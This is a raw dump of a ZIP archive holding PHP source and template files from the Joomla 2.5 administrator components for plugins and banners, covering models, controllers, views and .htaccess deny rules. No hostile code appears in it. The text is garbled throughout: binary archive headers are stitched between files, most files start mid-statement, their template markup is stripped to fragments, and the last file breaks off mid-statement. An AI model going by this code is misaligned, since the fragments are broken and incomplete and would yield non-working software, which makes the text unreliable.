Exception(JText::sprintf('COM_PLUGINS_ERROR_FILE_NOT_FOUND', $element.'.xml')); return false; } } // Load the core and/or local language file(s). $lang->load('plg_'.$folder.'_'.$element, JPATH_ADMINISTRATOR, null, false, true) || $lang->load('plg_'.$folder.'_'.$element, JPATH_PLUGINS.'/'.$folder.'/'.$element, null, false, true); if (file_exists($formFile)) { // Get the plugin form. if (!$form->loadFile($formFile, false, '//config')) { throw new Exception(JText::_('JERROR_LOADFILE_FAILED')); } } // Attempt to load the xml file. if (!$xml = simplexml_load_file($formFile)) { throw new Exception(JText::_('JERROR_LOADFILE_FAILED')); } // Get the help data from the XML file if present. $help = $xml->xpath('/extension/help'); if (!empty($help)) { $helpKey = trim((string) $help[0]['key']); $helpURL = trim((string) $help[0]['url']); $this->helpKey = $helpKey ? $helpKey : $this->helpKey; $this->helpURL = $helpURL ? $helpURL : $this->helpURL; } // Trigger the default form events. parent::preprocessForm($form, $data, $group); } /** * A protected method to get a set of ordering conditions. * * @param object A record object. * @return array An array of conditions to add to add to ordering queries. * @since 1.6 */ protected function getReorderConditions($table) { $condition = array(); $condition[] = 'type = '. $this->_db->Quote($table->type); $condition[] = 'folder = '. $this->_db->Quote($table->folder); return $condition; } /** * Override method to save the form data. * * @param array The form data. * @return boolean True on success. * @since 1.6 */ public function save($data) { // Load the extension plugin group. JPluginHelper::importPlugin('extension'); // Setup type $data['type'] = 'plugin'; return parent::save($data); } /** * Get the necessary data to load an item help screen. * * @return object An object with key, url, and local properties for loading the item help screen. * @since 1.6 */ public function getHelp() { return (object) array('key' => $this->helpKey, 'url' => $this->helpURL); } /** * Custom clean cache method, plugins are cached in 2 places for different clients * * @since 1.6 */ protected function cleanCache($group = null, $client_id = 0) { parent::cleanCache('com_plugins'); } } PK@y>\s)components/com_plugins/models/plugins.phpnuW+AgetUserStateFromRequest($this->context.'.filter.search', 'filter_search'); $this->setState('filter.search', $search); $accessId = $this->getUserStateFromRequest($this->context.'.filter.access', 'filter_access', null, 'int'); $this->setState('filter.access', $accessId); $state = $this->getUserStateFromRequest($this->context.'.filter.state', 'filter_state', '', 'string'); $this->setState('filter.state', $state); $folder = $this->getUserStateFromRequest($this->context.'.filter.folder', 'filter_folder', null, 'cmd'); $this->setState('filter.folder', $folder); $language = $this->getUserStateFromRequest($this->context.'.filter.language', 'filter_language', ''); $this->setState('filter.language', $language); // Load the parameters. $params = JComponentHelper::getParams('com_plugins'); $this->setState('params', $params); // List state information. parent::populateState('folder', 'asc'); } /** * Method to get a store id based on model configuration state. * * This is necessary because the model is used by the component and * different modules that might need different sets of data or different * ordering requirements. * * @param string A prefix for the store id. * * @return string A store id. */ protected function getStoreId($id = '') { // Compile the store id. $id .= ':'.$this->getState('filter.search'); $id .= ':'.$this->getState('filter.access'); $id .= ':'.$this->getState('filter.state'); $id .= ':'.$this->getState('filter.folder'); $id .= ':'.$this->getState('filter.language'); return parent::getStoreId($id); } /** * Returns an object list * * @param string The query * @param int Offset * @param int The number of records * @return array */ protected function _getList($query, $limitstart=0, $limit=0) { $search = $this->getState('filter.search'); $ordering = $this->getState('list.ordering', 'ordering'); if ($ordering == 'name' || (!empty($search) && stripos($search, 'id:') !== 0)) { $this->_db->setQuery($query); $result = $this->_db->loadObjectList(); $this->translate($result); if (!empty($search)) { foreach($result as $i=>$item) { if (!preg_match("/$search/i", $item->name)) { unset($result[$i]); } } } $lang = JFactory::getLanguage(); $direction = ($this->getState('list.direction') == 'desc') ? -1 : 1; JArrayHelper::sortObjects($result, $ordering, $direction, true, $lang->getLocale()); $total = count($result); $this->cache[$this->getStoreId('getTotal')] = $total; if ($total < $limitstart) { $limitstart = 0; $this->setState('list.start', 0); } return array_slice($result, $limitstart, $limit ? $limit : null); } else { if ($ordering == 'ordering') { $query->order('a.folder ASC'); $ordering = 'a.ordering'; } $query->order($this->_db->quoteName($ordering) . ' ' . $this->getState('list.direction')); if($ordering == 'folder') { $query->order('a.ordering ASC'); } $result = parent::_getList($query, $limitstart, $limit); $this->translate($result); return $result; } } /** * Translate a list of objects * * @param array The array of objects * @return array The array of translated objects */ protected function translate(&$items) { $lang = JFactory::getLanguage(); foreach($items as &$item) { $source = JPATH_PLUGINS . '/' . $item->folder . '/' . $item->element; $extension = 'plg_' . $item->folder . '_' . $item->element; $lang->load($extension . '.sys', JPATH_ADMINISTRATOR, null, false, true) || $lang->load($extension . '.sys', $source, null, false, true); $item->name = JText::_($item->name); } } /** * Build an SQL query to load the list data. * * @return JDatabaseQuery */ protected function getListQuery() { // Create a new query object. $db = $this->getDbo(); $query = $db->getQuery(true); // Select the required fields from the table. $query->select( $this->getState( 'list.select', 'a.extension_id , a.name, a.element, a.folder, a.checked_out, a.checked_out_time,' . ' a.enabled, a.access, a.ordering' ) ); $query->from($db->quoteName('#__extensions').' AS a'); $query->where($db->quoteName('type').' = '.$db->quote('plugin')); // Join over the users for the checked out user. $query->select('uc.name AS editor'); $query->join('LEFT', '#__users AS uc ON uc.id=a.checked_out'); // Join over the asset groups. $query->select('ag.title AS access_level'); $query->join('LEFT', '#__viewlevels AS ag ON ag.id = a.access'); // Filter by access level. if ($access = $this->getState('filter.access')) { $query->where('a.access = '.(int) $access); } // Filter by published state $published = $this->getState('filter.state'); if (is_numeric($published)) { $query->where('a.enabled = '.(int) $published); } elseif ($published === '') { $query->where('(a.enabled IN (0, 1))'); } // Filter by state $query->where('a.state >= 0'); // Filter by folder. if ($folder = $this->getState('filter.folder')) { $query->where('a.folder = '.$db->quote($folder)); } // Filter by search in id $search = $this->getState('filter.search'); if (!empty($search) && stripos($search, 'id:') === 0) { $query->where('a.extension_id = '.(int) substr($search, 3)); } return $query; } } PK@y>\V(components/com_plugins/models/index.htmlnuW+A PK@y>\)'components/com_plugins/models/.htaccessnuW+A Order allow,deny Deny from all PK@y>\m.__!components/com_plugins/config.xmlnuW+A
      PK@y>\V'components/com_plugins/views/index.htmlnuW+A PK@y>\V/components/com_plugins/views/plugins/index.htmlnuW+A PK@y>\)3components/com_plugins/views/plugins/tmpl/.htaccessnuW+A Order allow,deny Deny from all PK@y>\v65components/com_plugins/views/plugins/tmpl/default.phpnuW+Aescape($this->state->get('list.ordering')); $listDirn = $this->escape($this->state->get('list.direction')); $canOrder = $user->authorise('core.edit.state', 'com_plugins'); $saveOrder = $listOrder == 'ordering'; ?>
      items as $i => $item) : $ordering = ($listOrder == 'ordering'); $canEdit = $user->authorise('core.edit', 'com_plugins'); $canCheckin = $user->authorise('core.manage', 'com_checkin') || $item->checked_out==$user->get('id') || $item->checked_out==0; $canChange = $user->authorise('core.edit.state', 'com_plugins') && $canCheckin; ?>
      items, 'filesave.png', 'plugins.saveorder'); ?>
      pagination->getListFooter(); ?>
      extension_id); ?> checked_out) : ?> editor, $item->checked_out_time, 'plugins.', $canCheckin); ?> name; ?> name; ?> enabled, $i, 'plugins.', $canChange); ?> pagination->orderUpIcon($i, (@$this->items[$i-1]->folder == $item->folder), 'plugins.orderup', 'JLIB_HTML_MOVE_UP', $ordering); ?> pagination->orderDownIcon($i, $this->pagination->total, (@$this->items[$i+1]->folder == $item->folder), 'plugins.orderdown', 'JLIB_HTML_MOVE_DOWN', $ordering); ?> pagination->orderUpIcon($i, (@$this->items[$i-1]->folder == $item->folder), 'plugins.orderdown', 'JLIB_HTML_MOVE_UP', $ordering); ?> pagination->orderDownIcon($i, $this->pagination->total, (@$this->items[$i+1]->folder == $item->folder), 'plugins.orderup', 'JLIB_HTML_MOVE_DOWN', $ordering); ?> class="text-area-order" /> ordering; ?> escape($item->folder);?> escape($item->element);?> escape($item->access_level); ?> extension_id;?>
      PK@y>\V4components/com_plugins/views/plugins/tmpl/index.htmlnuW+A PK@y>\BQQ2components/com_plugins/views/plugins/view.html.phpnuW+Aitems = $this->get('Items'); $this->pagination = $this->get('Pagination'); $this->state = $this->get('State'); // Check for errors. if (count($errors = $this->get('Errors'))) { JError::raiseError(500, implode("\n", $errors)); return false; } // Check if there are no matching items if(!count($this->items)){ JFactory::getApplication()->enqueueMessage( JText::_('COM_PLUGINS_MSG_MANAGE_NO_PLUGINS') , 'warning' ); } parent::display($tpl); $this->addToolbar(); } /** * Add the page title and toolbar. * * @since 1.6 */ protected function addToolbar() { $state = $this->get('State'); $canDo = PluginsHelper::getActions(); JToolBarHelper::title(JText::_('COM_PLUGINS_MANAGER_PLUGINS'), 'plugin'); if ($canDo->get('core.edit')) { JToolBarHelper::editList('plugin.edit'); } if ($canDo->get('core.edit.state')) { JToolBarHelper::divider(); JToolBarHelper::publish('plugins.publish', 'JTOOLBAR_ENABLE', true); JToolBarHelper::unpublish('plugins.unpublish', 'JTOOLBAR_DISABLE', true); JToolBarHelper::divider(); JToolBarHelper::checkin('plugins.checkin'); } if ($canDo->get('core.admin')) { JToolBarHelper::divider(); JToolBarHelper::preferences('com_plugins'); } JToolBarHelper::divider(); JToolBarHelper::help('JHELP_EXTENSIONS_PLUGIN_MANAGER'); } } PK@y>\).components/com_plugins/views/plugins/.htaccessnuW+A Order allow,deny Deny from all PK@y>\)-components/com_plugins/views/plugin/.htaccessnuW+A Order allow,deny Deny from all PK@y>\G0N1components/com_plugins/views/plugin/view.html.phpnuW+Astate = $this->get('State'); $this->item = $this->get('Item'); $this->form = $this->get('Form'); // Check for errors. if (count($errors = $this->get('Errors'))) { JError::raiseError(500, implode("\n", $errors)); return false; } $this->addToolbar(); parent::display($tpl); } /** * Add the page title and toolbar. * * @since 1.6 */ protected function addToolbar() { JRequest::setVar('hidemainmenu', true); $user = JFactory::getUser(); $canDo = PluginsHelper::getActions(); JToolBarHelper::title(JText::sprintf('COM_PLUGINS_MANAGER_PLUGIN', JText::_($this->item->name)), 'plugin'); // If not checked out, can save the item. if ($canDo->get('core.edit')) { JToolBarHelper::apply('plugin.apply'); JToolBarHelper::save('plugin.save'); } JToolBarHelper::cancel('plugin.cancel', 'JTOOLBAR_CLOSE'); JToolBarHelper::divider(); // Get the help information for the plugin item. $lang = JFactory::getLanguage(); $help = $this->get('Help'); if ($lang->hasKey($help->url)) { $debug = $lang->setDebug(false); $url = JText::_($help->url); $lang->setDebug($debug); } else { $url = null; } JToolBarHelper::help($help->key, false, $url); } } PK@y>\V.components/com_plugins/views/plugin/index.htmlnuW+A PK@y>\Y 1components/com_plugins/views/plugin/tmpl/edit.phpnuW+A
      • form->getLabel('name'); ?> form->getInput('name'); ?> item->name);?>
      • form->getLabel('enabled'); ?> form->getInput('enabled'); ?>
      • form->getLabel('access'); ?> form->getInput('access'); ?>
      • form->getLabel('ordering'); ?> form->getInput('ordering'); ?>
      • form->getLabel('folder'); ?> form->getInput('folder'); ?>
      • form->getLabel('element'); ?> form->getInput('element'); ?>
      • item->extension_id) : ?>
      • form->getLabel('extension_id'); ?> form->getInput('extension_id'); ?>
      item->xml) : ?> item->xml->description)) : ?>
      item->extension_id); ?> loadTemplate('options'); ?>
      PK@y>\)2components/com_plugins/views/plugin/tmpl/.htaccessnuW+A Order allow,deny Deny from all PK@y>\(ق9components/com_plugins/views/plugin/tmpl/edit_options.phpnuW+Aform->getFieldsets('params'); foreach ($fieldSets as $name => $fieldSet) : $label = !empty($fieldSet->label) ? $fieldSet->label : 'COM_PLUGINS_'.$name.'_FIELDSET_LABEL'; echo JHtml::_('sliders.panel', JText::_($label), $name.'-options'); if (isset($fieldSet->description) && trim($fieldSet->description)) : echo '

      '.$this->escape(JText::_($fieldSet->description)).'

      '; endif; ?>
        form->getFieldset($name) as $field) : ?> hidden) : ?>
      • label; ?> input; ?>
      • input; ?>
      PK@y>\V3components/com_plugins/views/plugin/tmpl/index.htmlnuW+A PK@y>\)&components/com_plugins/views/.htaccessnuW+A Order allow,deny Deny from all PK@y>\mY#%components/com_plugins/controller.phpnuW+AcheckEditId('com_plugins.edit.plugin', $id)) { // Somehow the person just went to the form - we don't allow that. $this->setError(JText::sprintf('JLIB_APPLICATION_ERROR_UNHELD_ID', $id)); $this->setMessage($this->getError(), 'error'); $this->setRedirect(JRoute::_('index.php?option=com_plugins&view=plugins', false)); return false; } parent::display(); } } PK@y>\i!components/com_banners/access.xmlnuW+A
      PK@y>\mA!components/com_banners/config.xmlnuW+A
      PK@y>\y,MM-components/com_banners/controllers/client.phpnuW+A\}D 1components/com_banners/controllers/tracks.raw.phpnuW+A true)); return $model; } /** * Display method for the raw track data. * * @param boolean If true, the view output will be cached * @param array An array of safe url parameters and their variable types, for valid values see {@link JFilterInput::clean()}. * * @return JController This object to support chaining. * @since 1.5 * @todo This should be done as a view, not here! */ public function display($cachable = false, $urlparams = false) { // Get the document object. $document = JFactory::getDocument(); $vName = 'tracks'; $vFormat = 'raw'; // Get and render the view. if ($view = $this->getView($vName, $vFormat)) { // Get the model for the view. $model = $this->getModel($vName); // Load the filter state. $app = JFactory::getApplication(); $type = $app->getUserState($this->context.'.filter.type'); $model->setState('filter.type', $type); $begin = $app->getUserState($this->context.'.filter.begin'); $model->setState('filter.begin', $begin); $end = $app->getUserState($this->context.'.filter.end'); $model->setState('filter.end', $end); $categoryId = $app->getUserState($this->context.'.filter.category_id'); $model->setState('filter.category_id', $categoryId); $clientId = $app->getUserState($this->context.'.filter.client_id'); $model->setState('filter.client_id', $clientId); $model->setState('list.limit', 0); $model->setState('list.start', 0); $form = JRequest::getVar('jform'); $model->setState('basename', $form['basename']); $model->setState('compressed', $form['compressed']); $config = JFactory::getConfig(); $cookie_domain = $config->get('cookie_domain', ''); $cookie_path = $config->get('cookie_path', '/'); setcookie(JApplication::getHash($this->context.'.basename'), $form['basename'], time() + 365 * 86400, $cookie_path, $cookie_domain); setcookie(JApplication::getHash($this->context.'.compressed'), $form['compressed'], time() + 365 * 86400, $cookie_path, $cookie_domain); // Push the model into the view (as default). $view->setModel($model, true); // Push document object into the view. $view->assignRef('document', $document); $view->display(); } } } PK@y>\ -components/com_banners/controllers/banner.phpnuW+Aauthorise('core.create', $this->option . '.category.' . $categoryId); } if ($allow === null) { // In the absence of better information, revert to the component permissions. return parent::allowAdd($data); } else { return $allow; } } /** * Method override to check if you can edit an existing record. * * @param array $data An array of input data. * @param string $key The name of the key for the primary key. * * @return boolean * * @since 1.6 */ protected function allowEdit($data = array(), $key = 'id') { // Initialise variables. $user = JFactory::getUser(); $recordId = (int) isset($data[$key]) ? $data[$key] : 0; $categoryId = 0; if ($recordId) { $categoryId = (int) $this->getModel()->getItem($recordId)->catid; } if ($categoryId) { // The category has been set. Check the category permissions. return $user->authorise('core.edit', $this->option . '.category.' . $categoryId); } else { // Since there is no asset tracking, revert to the component permissions. return parent::allowEdit($data, $key); } } /** * Method to run batch operations. * * @param string $model The model * * @return boolean True on success. * * @since 2.5 */ public function batch($model = null) { JSession::checkToken() or jexit(JText::_('JINVALID_TOKEN')); // Set the model $model = $this->getModel('Banner', '', array()); // Preset the redirect $this->setRedirect(JRoute::_('index.php?option=com_banners&view=banners' . $this->getRedirectToListAppend(), false)); return parent::batch($model); } } PK@y>\),components/com_banners/controllers/.htaccessnuW+A Order allow,deny Deny from all PK@y>\:&-components/com_banners/controllers/tracks.phpnuW+A true)) { $model = parent::getModel($name, $prefix, $config); return $model; } /** * Method to remove a record. * * @return void * @since 1.6 */ public function delete() { // Check for request forgeries. JSession::checkToken() or jexit(JText::_('JINVALID_TOKEN')); // Get the model. $model = $this->getModel(); // Load the filter state. $app = JFactory::getApplication(); $type = $app->getUserState($this->context.'.filter.type'); $model->setState('filter.type', $type); $begin = $app->getUserState($this->context.'.filter.begin'); $model->setState('filter.begin', $begin); $end = $app->getUserState($this->context.'.filter.end'); $model->setState('filter.end', $end); $categoryId = $app->getUserState($this->context.'.filter.category_id'); $model->setState('filter.category_id', $categoryId); $clientId = $app->getUserState($this->context.'.filter.client_id'); $model->setState('filter.client_id', $clientId); $model->setState('list.limit', 0); $model->setState('list.start', 0); $count = $model->getTotal(); // Remove the items. if (!$model->delete()) { JError::raiseWarning(500, $model->getError()); } else { $this->setMessage(JText::plural('COM_BANNERS_TRACKS_N_ITEMS_DELETED', $count)); } $this->setRedirect('index.php?option=com_banners&view=tracks'); } } PK@y>\UQQ.components/com_banners/controllers/clients.phpnuW+A true)) { $model = parent::getModel($name, $prefix, $config); return $model; } } PK@y>\V-components/com_banners/controllers/index.htmlnuW+A PK@y>\jYY.components/com_banners/controllers/banners.phpnuW+AregisterTask('sticky_unpublish', 'sticky_publish'); } /** * Proxy for getModel. * @since 1.6 */ public function getModel($name = 'Banner', $prefix = 'BannersModel', $config = array('ignore_request' => true)) { $model = parent::getModel($name, $prefix, $config); return $model; } /** * @since 1.6 */ public function sticky_publish() { // Check for request forgeries. JSession::checkToken() or jexit(JText::_('JINVALID_TOKEN')); // Initialise variables. $user = JFactory::getUser(); $ids = JRequest::getVar('cid', array(), '', 'array'); $values = array('sticky_publish' => 1, 'sticky_unpublish' => 0); $task = $this->getTask(); $value = JArrayHelper::getValue($values, $task, 0, 'int'); if (empty($ids)) { JError::raiseWarning(500, JText::_('COM_BANNERS_NO_BANNERS_SELECTED')); } else { // Get the model. $model = $this->getModel(); // Change the state of the records. if (!$model->stick($ids, $value)) { JError::raiseWarning(500, $model->getError()); } else { if ($value == 1) { $ntext = 'COM_BANNERS_N_BANNERS_STUCK'; } else { $ntext = 'COM_BANNERS_N_BANNERS_UNSTUCK'; } $this->setMessage(JText::plural($ntext, count($ids))); } } $this->setRedirect('index.php?option=com_banners&view=banners'); } } PK@y>\V!components/com_banners/index.htmlnuW+A PK@y>\)3components/com_banners/views/clients/tmpl/.htaccessnuW+A Order allow,deny Deny from all PK@y>\ph3NN5components/com_banners/views/clients/tmpl/default.phpnuW+Aget('id'); $listOrder = $this->escape($this->state->get('list.ordering')); $listDirn = $this->escape($this->state->get('list.direction')); $params = (isset($this->state->params)) ? $this->state->params : new JObject(); ?>
      items as $i => $item) : $ordering = ($listOrder == 'ordering'); $canCreate = $user->authorise('core.create', 'com_banners'); $canEdit = $user->authorise('core.edit', 'com_banners'); $canCheckin = $user->authorise('core.manage', 'com_checkin') || $item->checked_out==$user->get('id') || $item->checked_out==0; $canChange = $user->authorise('core.edit.state', 'com_banners') && $canCheckin; ?>
      pagination->getListFooter(); ?>
      id); ?> checked_out) : ?> editor, $item->checked_out_time, 'clients.', $canCheckin); ?> escape($item->name); ?> escape($item->name); ?> contact;?> state, $i, 'clients.', $canChange);?> nbanners; ?> metakey; ?> purchase_type<0):?> get('purchase_type')));?> purchase_type);?> id; ?>
      PK@y>\V4components/com_banners/views/clients/tmpl/index.htmlnuW+A PK@y>\V/components/com_banners/views/clients/index.htmlnuW+A PK@y>\).components/com_banners/views/clients/.htaccessnuW+A Order allow,deny Deny from all PK@y>\MAamm2components/com_banners/views/clients/view.html.phpnuW+Aitems = $this->get('Items'); $this->pagination = $this->get('Pagination'); $this->state = $this->get('State'); // Check for errors. if (count($errors = $this->get('Errors'))) { JError::raiseError(500, implode("\n", $errors)); return false; } $this->addToolbar(); parent::display($tpl); } /** * Add the page title and toolbar. * * @since 1.6 */ protected function addToolbar() { require_once JPATH_COMPONENT.'/helpers/banners.php'; $canDo = BannersHelper::getActions(); JToolBarHelper::title(JText::_('COM_BANNERS_MANAGER_CLIENTS'), 'banners-clients.png'); if ($canDo->get('core.create')) { JToolBarHelper::addNew('client.add'); } if ($canDo->get('core.edit')) { JToolBarHelper::editList('client.edit'); } if ($canDo->get('core.edit.state')) { JToolBarHelper::divider(); JToolBarHelper::publish('clients.publish', 'JTOOLBAR_PUBLISH', true); JToolBarHelper::unpublish('clients.unpublish', 'JTOOLBAR_UNPUBLISH', true); JToolBarHelper::divider(); JToolBarHelper::archiveList('clients.archive'); JToolBarHelper::checkin('clients.checkin'); } if ($this->state->get('filter.state') == -2 && $canDo->get('core.delete')) { JToolBarHelper::deleteList('', 'clients.delete', 'JTOOLBAR_EMPTY_TRASH'); JToolBarHelper::divider(); } elseif ($canDo->get('core.edit.state')) { JToolBarHelper::trash('clients.trash'); JToolBarHelper::divider(); } if ($canDo->get('core.admin')) { JToolBarHelper::preferences('com_banners'); JToolBarHelper::divider(); } JToolBarHelper::help('JHELP_COMPONENTS_BANNERS_CLIENTS'); } } PK@y>\%6HH1components/com_banners/views/client/view.html.phpnuW+Aform = $this->get('Form'); $this->item = $this->get('Item'); $this->state = $this->get('State'); // Check for errors. if (count($errors = $this->get('Errors'))) { JError::raiseError(500, implode("\n", $errors)); return false; } $this->addToolbar(); parent::display($tpl); } /** * Add the page title and toolbar. * * @since 1.6 */ protected function addToolbar() { JRequest::setVar('hidemainmenu', true); $user = JFactory::getUser(); $isNew = ($this->item->id == 0); $checkedOut = !($this->item->checked_out == 0 || $this->item->checked_out == $user->get('id')); $canDo = BannersHelper::getActions(); JToolBarHelper::title($isNew ? JText::_('COM_BANNERS_MANAGER_CLIENT_NEW') : JText::_('COM_BANNERS_MANAGER_CLIENT_EDIT'), 'banners-clients.png'); // If not checked out, can save the item. if (!$checkedOut && ($canDo->get('core.edit')||$canDo->get('core.create'))) { JToolBarHelper::apply('client.apply'); JToolBarHelper::save('client.save'); } if (!$checkedOut && $canDo->get('core.create')) { JToolBarHelper::save2new('client.save2new'); } // If an existing item, can save to a copy. if (!$isNew && $canDo->get('core.create')) { JToolBarHelper::save2copy('client.save2copy'); } if (empty($this->item->id)) { JToolBarHelper::cancel('client.cancel'); } else { JToolBarHelper::cancel('client.cancel', 'JTOOLBAR_CLOSE'); } JToolBarHelper::divider(); JToolBarHelper::help('JHELP_COMPONENTS_BANNERS_CLIENTS_EDIT'); } } PK@y>\V.components/com_banners/views/client/index.htmlnuW+A PK@y>\)2components/com_banners/views/client/tmpl/.htaccessnuW+A Order allow,deny Deny from all PK@y>\V3components/com_banners/views/client/tmpl/index.htmlnuW+A PK@y>\Fx m 1components/com_banners/views/client/tmpl/edit.phpnuW+A
      item->id) ? JText::_('COM_BANNERS_NEW_CLIENT') : JText::sprintf('COM_BANNERS_EDIT_CLIENT', $this->item->id); ?>
      • form->getLabel('name'); ?> form->getInput('name'); ?>
      • form->getLabel('contact'); ?> form->getInput('contact'); ?>
      • form->getLabel('email'); ?> form->getInput('email'); ?>
      • get('core.edit.state')) : ?>
      • form->getLabel('state'); ?> form->getInput('state'); ?>
      • form->getLabel('purchase_type'); ?> form->getInput('purchase_type'); ?>
      • form->getLabel('track_impressions'); ?> form->getInput('track_impressions'); ?>
      • form->getLabel('track_clicks'); ?> form->getInput('track_clicks'); ?>
      • form->getLabel('id'); ?> form->getInput('id'); ?>
      item->id, array('useCookie'=>1)); ?>
        form->getFieldset('metadata') as $field): ?>
      • hidden): ?> label; ?> input; ?>
        form->getFieldset('extra') as $field): ?>
      • hidden): ?> label; ?> input; ?>
      PK@y>\)-components/com_banners/views/client/.htaccessnuW+A Order allow,deny Deny from all PK@y>\)&components/com_banners/views/.htaccessnuW+A Order allow,deny Deny from all PK@y>\}eW W 2components/com_banners/views/banners/view.html.phpnuW+Acategories = $this->get('CategoryOrders'); $this->items = $this->get('Items'); $this->pagination = $this->get('Pagination'); $this->state = $this->get('State'); // Check for errors. if (count($errors = $this->get('Errors'))) { JError::raiseError(500, implode("\n", $errors)); return false; } $this->addToolbar(); require_once JPATH_COMPONENT . '/models/fields/bannerclient.php'; // Include the component HTML helpers. JHtml::addIncludePath(JPATH_COMPONENT . '/helpers/html'); parent::display($tpl); } /** * Add the page title and toolbar. * * @return void * * @since 1.6 */ protected function addToolbar() { require_once JPATH_COMPONENT . '/helpers/banners.php'; $canDo = BannersHelper::getActions($this->state->get('filter.category_id')); $user = JFactory::getUser(); JToolBarHelper::title(JText::_('COM_BANNERS_MANAGER_BANNERS'), 'banners.png'); if (count($user->getAuthorisedCategories('com_banners', 'core.create')) > 0) { JToolBarHelper::addNew('banner.add'); } if (($canDo->get('core.edit'))) { JToolBarHelper::editList('banner.edit'); } if ($canDo->get('core.edit.state')) { if ($this->state->get('filter.state') != 2) { JToolBarHelper::divider(); JToolBarHelper::publish('banners.publish', 'JTOOLBAR_PUBLISH', true); JToolBarHelper::unpublish('banners.unpublish', 'JTOOLBAR_UNPUBLISH', true); } if ($this->state->get('filter.state') != -1) { JToolBarHelper::divider(); if ($this->state->get('filter.state') != 2) { JToolBarHelper::archiveList('banners.archive'); } elseif ($this->state->get('filter.state') == 2) { JToolBarHelper::unarchiveList('banners.publish'); } } } if ($canDo->get('core.edit.state')) { JToolBarHelper::checkin('banners.checkin'); } if ($this->state->get('filter.state') == -2 && $canDo->get('core.delete')) { JToolBarHelper::deleteList('', 'banners.delete', 'JTOOLBAR_EMPTY_TRASH'); JToolBarHelper::divider(); } elseif ($canDo->get('core.edit.state')) { JToolBarHelper::trash('banners.trash'); JToolBarHelper::divider(); } if ($canDo->get('core.admin')) { JToolBarHelper::preferences('com_banners'); JToolBarHelper::divider(); } JToolBarHelper::help('JHELP_COMPONENTS_BANNERS_BANNERS'); } } PK@y>\V/components/com_banners/views/banners/index.htmlnuW+A PK@y>\J##;components/com_banners/views/banners/tmpl/default_batch.phpnuW+Astate->get('filter.published'); ?>

      = 0) : ?>
      PK@y>\V4components/com_banners/views/banners/tmpl/index.htmlnuW+A PK@y>\)3components/com_banners/views/banners/tmpl/.htaccessnuW+A Order allow,deny Deny from all PK@y>\lM&&5components/com_banners/views/banners/tmpl/default.phpnuW+Aget('id'); $listOrder = $this->escape($this->state->get('list.ordering')); $listDirn = $this->escape($this->state->get('list.direction')); $canOrder = $user->authorise('core.edit.state', 'com_banners.category'); $saveOrder = $listOrder=='ordering'; $params = (isset($this->state->params)) ? $this->state->params : new JObject(); ?>
      items as $i => $item) : $ordering = ($listOrder == 'ordering'); $item->cat_link = JRoute::_('index.php?option=com_categories&extension=com_banners&task=edit&type=other&cid[]='. $item->catid); $canCreate = $user->authorise('core.create', 'com_banners.category.'.$item->catid); $canEdit = $user->authorise('core.edit', 'com_banners.category.'.$item->catid); $canCheckin = $user->authorise('core.manage', 'com_checkin') || $item->checked_out == $userId || $item->checked_out == 0; $canChange = $user->authorise('core.edit.state', 'com_banners.category.'.$item->catid) && $canCheckin; ?>
      items, 'filesave.png', 'banners.saveorder'); ?> state->get('list.direction'), $this->state->get('list.ordering')); ?>
      pagination->getListFooter(); ?>
      id); ?> checked_out) : ?> editor, $item->checked_out_time, 'banners.', $canCheckin); ?> escape($item->name); ?> escape($item->name); ?>

      escape($item->alias));?>

      state, $i, 'banners.', $canChange, 'cb', $item->publish_up, $item->publish_down); ?> sticky, $i, $canChange); ?> client_name;?> escape($item->category_title); ?> pagination->orderUpIcon($i, (@$this->items[$i-1]->catid == $item->catid), 'banners.orderup', 'JLIB_HTML_MOVE_UP', $ordering); ?> pagination->orderDownIcon($i, $this->pagination->total, (@$this->items[$i+1]->catid == $item->catid), 'banners.orderdown', 'JLIB_HTML_MOVE_DOWN', $ordering); ?> pagination->orderUpIcon($i, (@$this->items[$i-1]->catid == $item->catid), 'banners.orderdown', 'JLIB_HTML_MOVE_UP', $ordering); ?> pagination->orderDownIcon($i, $this->pagination->total, (@$this->items[$i+1]->catid == $item->catid), 'banners.orderup', 'JLIB_HTML_MOVE_DOWN', $ordering); ?> class="text-area-order" /> ordering; ?> impmade, $item->imptotal ? $item->imptotal : JText::_('COM_BANNERS_UNLIMITED'));?> clicks;?> - impmade ? 100 * $item->clicks/$item->impmade : 0);?> metakey; ?> purchase_type < 0):?> client_purchase_type > 0) ? JText::_('COM_BANNERS_FIELD_VALUE_'.$item->client_purchase_type) : JText::_('COM_BANNERS_FIELD_VALUE_'.$params->get('purchase_type')));?> purchase_type);?> language=='*'):?> language_title ? $this->escape($item->language_title) : JText::_('JUNDEFINED'); ?> id; ?>
      authorize('core.create', 'com_banners') && $user->authorize('core.edit', 'com_banners') && $user->authorize('core.edit.state', 'com_banners')) : ?> loadTemplate('batch'); ?>
      PK@y>\).components/com_banners/views/banners/.htaccessnuW+A Order allow,deny Deny from all PK@y>\V'components/com_banners/views/index.htmlnuW+A PK@y>\)-components/com_banners/views/tracks/.htaccessnuW+A Order allow,deny Deny from all PK@y>\V.components/com_banners/views/tracks/index.htmlnuW+A PK@y>\4components/com_banners/views/tracks/tmpl/default.phpnuW+Aget('id'); $listOrder = $this->escape($this->state->get('list.ordering')); $listDirn = $this->escape($this->state->get('list.direction')); ?>
      state->get('filter.category_id');?>
      items as $i => $item) :?>
      pagination->getListFooter(); ?>
      name;?> client_name;?> category_title;?> track_type==1 ? JText::_('COM_BANNERS_IMPRESSION'): JText::_('COM_BANNERS_CLICK');?> count;?> track_date, JText::_('DATE_FORMAT_LC4').' H:i');?>
      PK@y>\V3components/com_banners/views/tracks/tmpl/index.htmlnuW+A PK@y>\)2components/com_banners/views/tracks/tmpl/.htaccessnuW+A Order allow,deny Deny from all PK@y>\d0components/com_banners/views/tracks/view.raw.phpnuW+Aget('BaseName'); $filetype = $this->get('FileType'); $mimetype = $this->get('MimeType'); $content = $this->get('Content'); // Check for errors. if (count($errors = $this->get('Errors'))) { JError::raiseError(500, implode("\n", $errors)); return false; } $document = JFactory::getDocument(); $document->setMimeEncoding($mimetype); JResponse::setHeader('Content-disposition', 'attachment; filename="'.$basename.'.'.$filetype.'"; creation-date="'.JFactory::getDate()->toRFC822().'"', true); echo $content; } } PK@y>\Nėy@@1components/com_banners/views/tracks/view.html.phpnuW+Aitems = $this->get('Items'); $this->pagination = $this->get('Pagination'); $this->state = $this->get('State'); // Check for errors. if (count($errors = $this->get('Errors'))) { JError::raiseError(500, implode("\n", $errors)); return false; } $this->addToolbar(); require_once JPATH_COMPONENT .'/models/fields/bannerclient.php'; parent::display($tpl); } /** * Add the page title and toolbar. * * @since 1.6 */ protected function addToolbar() { require_once JPATH_COMPONENT.'/helpers/banners.php'; $canDo = 